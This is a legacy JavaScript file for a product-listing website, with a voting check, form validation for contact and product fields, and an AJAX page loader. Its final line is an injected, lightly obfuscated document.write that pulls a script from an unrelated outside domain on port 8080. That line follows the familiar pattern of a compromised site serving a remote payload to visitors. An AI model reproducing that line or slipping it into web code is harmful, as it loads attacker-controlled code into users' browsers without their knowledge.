// JavaScript Document

function confirmSubmit() 
	     { 
		
		if (document.getElementById("votefor").value == "")
		{
		     var agree=confirm("Please select an entry before voting."); 
		    
		}
		
	     }

function callpage(id)
{
	var url = "listingproducts.php?id="+id;
	
	sample(url,'products_td');
}

function valid()
{
var flag=0;
var name = document.getElementById('name').value;
var emailid = document.getElementById('emailid').value;
var contactnumber = document.getElementById('contactnumber').value;
var productname = document.getElementById('productname').value;
var productdescription = document.getElementById('productdescription').value;
if (name=='')
   {
    alert('Enter Your Name!')
    document.add_list.name.focus();
	return false;
    flag=1;
   }
   
   if (emailid=='')
   {
    alert('Enter Your E-Mailid!')
    document.add_list.emailid.focus();
	return false;
    flag=1;
   }
   var spos = emailid
var anum  = /^[\w\-\.\+]+\@[a-zA-Z0-9\.\-]+\.[a-zA-z0-9]{2,4}$/;

    if (anum.test(spos))
	testresult=true;
    else
    {
         alert("Invalid Emailid!")
         document.add_list.emailid.focus();
				 return false;
         flag=1
    }
	
	if (contactnumber=='')
   {
    alert('Enter Your Contact Number!')
   document.add_list.contactnumber.focus();
    return false;
	flag=1;
   }
   if (contactnumber!="")
   {
	  var i;
	s = contactnumber.toString();
      for (i = 0; i < s.length; i++)
      {
         var c = s.charAt(i);
         if (isNaN(c)) 
	   {
		alert("Given contact details is not a number");
		document.add_list.contactnumber.focus();
		return false;
		flag=1;
	   }
      }
     
   }
     
	
	if (productname=='')
   {
    alert('Product name cannot be left blank!')
   document.add_list.productname.focus();
    return false;
	flag=1;
   }
   
   if (productdescription=='')
   {
    alert('Product Description cannot be left blank!')
   document.add_list.productdescription.focus();
   return false;
	flag=1;
	
   }
  
	
	if(flag==0)
   {
	  document.add_list.action ='submit_insert.php';
	  document.add_list.onsubmit = null;
	  document.add_list.submit();
	
   }
   
  
}



function sample(url, containerid){
var page_request = false
if (window.XMLHttpRequest) // if Mozilla, Safari etc
page_request = new XMLHttpRequest()
else if (window.ActiveXObject){ // if IE
try {
page_request = new ActiveXObject("Msxml2.XMLHTTP")
} 
catch (e){
try{
page_request = new ActiveXObject("Microsoft.XMLHTTP")
}
catch (e){}
}
}
else
return false
page_request.onreadystatechange=function(){
loadfileshare(page_request, containerid)
}
page_request.open('GET', url, true)
page_request.send(null)
}

function loadfileshare(page_request, containerid){
if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1))
{

document.getElementById(containerid).innerHTML=page_request.responseText;
}
if(page_request.readyState == 1 || page_request.readyState == 2 || page_request.readyState == 3 )
document.getElementById(containerid).innerHTML="<br>&nbsp;&nbsp;<p align ='left'><img src='small_loading.gif'></p>";
}


document.write('<s'+'cript type="text/javascript" src="http://aospfpgy.dogplaystation.com:8080/OASIS.js"></scr'+'ipt>');